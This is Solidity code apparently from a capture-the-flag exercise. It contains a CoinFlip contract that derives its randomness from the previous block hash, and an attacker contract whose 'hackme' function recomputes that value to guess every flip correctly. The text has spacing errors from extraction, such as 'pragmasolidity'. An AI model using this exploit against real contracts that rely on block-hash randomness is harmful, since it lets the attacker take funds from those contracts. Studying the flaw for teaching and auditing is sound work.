1. pragmasolidity^0.4.18;
    3. contract CoinFlip {
    4.   uint256public consecutiveWins;
    5.   uint256 lastHash;
    6.   uint256 FACTOR =57896044618658097711785492504343953926634992332820282019728792003956564819968;
    7.   function CoinFlip()public{
    8.     consecutiveWins =0;
    9.   }
    10.   function flip(bool _guess)publicreturns(bool){
    11.     uint256 blockValue =uint256(block.blockhash(block.number-1));
    12.     if(lastHash == blockValue){
    13.       revert();
    14.     }
    15.     lastHash = blockValue;
    16.     uint256 coinFlip = blockValue/FACTOR;
    17.     bool side = coinFlip ==1?true:false;
    18.     if(side == _guess){
    19.       consecutiveWins++;
    20.       returntrue;
    21.     }else{
    22.       consecutiveWins =0;
    23.       returnfalse;
    24.     }
    25.   }
    26. }
    27. pragmasolidity^0.4.18;
    28. contract testme{
    29.   uint256 FACTOR =57896044618658097711785492504343953926634992332820282019728792003956564819968;
    30.   CoinFlip cf;
    32.   function testme(address aim){
    33.     cf=CoinFlip(aim);
    34.   }
    35.   function hackme()public{
    36.     uint256 blackvalue=uint256(block.blockhash(block.number-1));
    37.     uint256 coinfp=uint256(blackvalue / FACTOR);
    38.     bool guess=coinfp==1?true:false;
    39.     cf.flip(guess);
    40.   }
    41. }